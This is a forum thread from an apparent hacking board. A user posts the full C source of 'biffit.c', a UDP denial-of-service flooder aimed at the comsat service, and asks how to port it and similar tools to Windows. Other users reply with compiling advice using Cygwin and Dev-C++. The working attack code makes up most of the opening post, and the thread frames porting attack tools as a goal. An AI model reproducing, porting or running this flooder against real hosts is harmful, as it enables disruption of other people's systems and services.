hacking contest

hacking exploits security forum
hacking
compliance articles
upgrade backup exec
information security consultant

winsoc
I want to port some nice shit I have been using on Unix and Linux boxes to windows.

The first one I would like to start with is this :
CODE

/*
*  filename:  biffit.c
*  author:    sygma @undernet
*  problem:   in.comsat uses UDP, and forks, so just think about it. :)
*        IT CAN cripple BSD boxes.
*  fix:       'biff n' works well.  [wouldn't want leetos hitting you]
*        or vi /etc/hosts.allow and add "in.comsat: LOCAL"
*  notes:     I wrote this for a friend to show him something,
*        I won't be held reponsible for the missuse most people do
*        with this stuff.  This is for Educational user only!
*  tested on: Linux [slackware]
*             FreeBSD 2.2.5-Stable
*         NetBSD 1.2
*

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/wait.h>

#define MYPORT 512

int i;

int main(int argc, char *argv[])
{
int sockfd;
struct sockaddr_in their_addr; /* connector's address information *
struct hostent *he;
int numbytes;
char message[80];

if (argc != 3) {
    fprintf(stderr,"usage: \n");
    fprintf(stderr,"    %s [hostname] [username]\n",argv[0]);
    exit(1);
}

if ((he=gethostbyname(argv[1])) == NULL) {  /* get the host info *
    herror("gethostbyname");
    exit(1);
}

if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) == -1) {
    perror("socket");
    exit(1);
}

their_addr.sin_family = AF_INET;      /* host byte order *
their_addr.sin_port = htons(MYPORT);  /* short, network byte order *
their_addr.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(their_addr.sin_zero), 8);     /* zero the rest of the struct *

i=0;
sprintf(message,"%s@0",argv[2]);
while(1)
{
 if ((numbytes=sendto(sockfd, message, strlen(message), 0, \
             (struct sockaddr *)&their_addr, sizeof(struct sockaddr))) == -1)
 {
  perror("recvfrom");
  exit(1);
        }

 i++;
 if (i==10000) {printf(".");i=0;}
 // (filtered) usleep(100);
}
close(sockfd);

return 0;
}


This file is a simple dos program which locks a lot more than what the author mentioned.

If anyone can help, or lend a few pointers in the right direction I'd appreciate it.

Skydriver
Hi

You can Use cygwin it can be download at http://www.cygwin.com.

winsoc
Thanks Skydriver,

do you mean download the comeplete cygwin GNU development tools,
if you do, how do I use this to compile a working .exe for windows.

Or do you just mean get a cygwin.dll

[Sunny]
get cygwin with gcc . Then type ./gcc -o file.c filename.exe , the exe can run under win with cygwin.dll

Perhaps u need some libaries wich are not provided by cygwin .
Train25
seeing since additional libraries were mentioned here for cgywin can we have some URLs posted here...thanxs.

I attached a word doc outlining the installation of cgywin. Anyone have anything to add to the doc include it here and i will update the doc.
supermax
you can compile exploit with a normal compiler ( I use dev-cpp ) butyou will need to find the header somewhere because they aren't all coming with dev-cpp
winsoc
Excellent help, thanks for the info guys.

Now, I'm porting a load of nice tools to windows thanks to you guys.

Nice one
silos
Does anyone have a download link for thos Cygwin libraries.l've been trying to install Nessus through cygwin and lt tells me l don't have the right libs even though l have the full cygwin package.Any help appreciated.
nmcog
I dont' think you can compile Nessus using CYGWIN.

Thats why this product exists http://www.tenablesecurity.com/newt.html
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.

 
Invision Power Board © 2001-2005 Invision Power Services, Inc.